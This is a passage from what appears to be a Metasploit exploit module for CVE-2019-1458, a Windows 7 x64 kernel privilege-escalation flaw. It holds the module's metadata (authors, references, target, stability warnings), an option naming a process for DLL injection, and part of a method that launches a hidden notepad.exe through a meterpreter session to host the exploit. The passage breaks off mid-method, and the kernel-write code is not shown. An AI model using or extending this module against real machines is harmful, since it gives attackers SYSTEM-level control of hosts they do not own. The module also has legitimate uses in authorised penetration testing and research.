By utilizing this vulnerability to execute controlled writes to kernel memory, an attacker can gain arbitrary code execution as the SYSTEM user. This module has been tested against Windows 7 x64 SP1. Offsets within the exploit code may need to be adjusted to work with other versions of Windows. The exploit can only be triggered once against the target and can cause the target machine to reboot when the session is terminated. }, 'License' => MSF_LICENSE, 'Author' => [ 'piotrflorczyk', # poc 'unamer', # exploit 'timwr', # msf module ], 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'Targets' => [ ['Windows 7 x64', { 'Arch' => ARCH_X64 }] ], 'Notes' => { 'Stability' => [ CRASH_OS_RESTARTS ], 'Reliability' => [ UNRELIABLE_SESSION ] }, 'References' => [ ['CVE', '2019-1458'], ['URL', 'https://github.com/unamer/CVE-2019-1458'], ['URL', 'https://github.com/piotrflorczyk/cve-2019-1458_POC'], ['URL', 'https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/'], ['URL', 'https://googleprojectzero.blogspot.com/p/rca-cve-2019-1458.html'] ], 'DisclosureDate' => '2019-12-10', 'DefaultTarget' => 0, 'AKA' => [ 'WizardOpium' ] ) ) register_options([ OptString.new('PROCESS', [true, 'Name of process to spawn and inject dll into.', 'notepad.exe']) ]) end def setup_process process_name = datastore['PROCESS'] begin print_status("Launching #{process_name} to host the exploit...") launch_process = client.sys.process.execute(process_name, nil, 'Hidden' => true) process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Sandboxes could not allow to create a new process # stdapi_sys_process_execute: Operation failed: Access is denied. print_error('Operation failed.
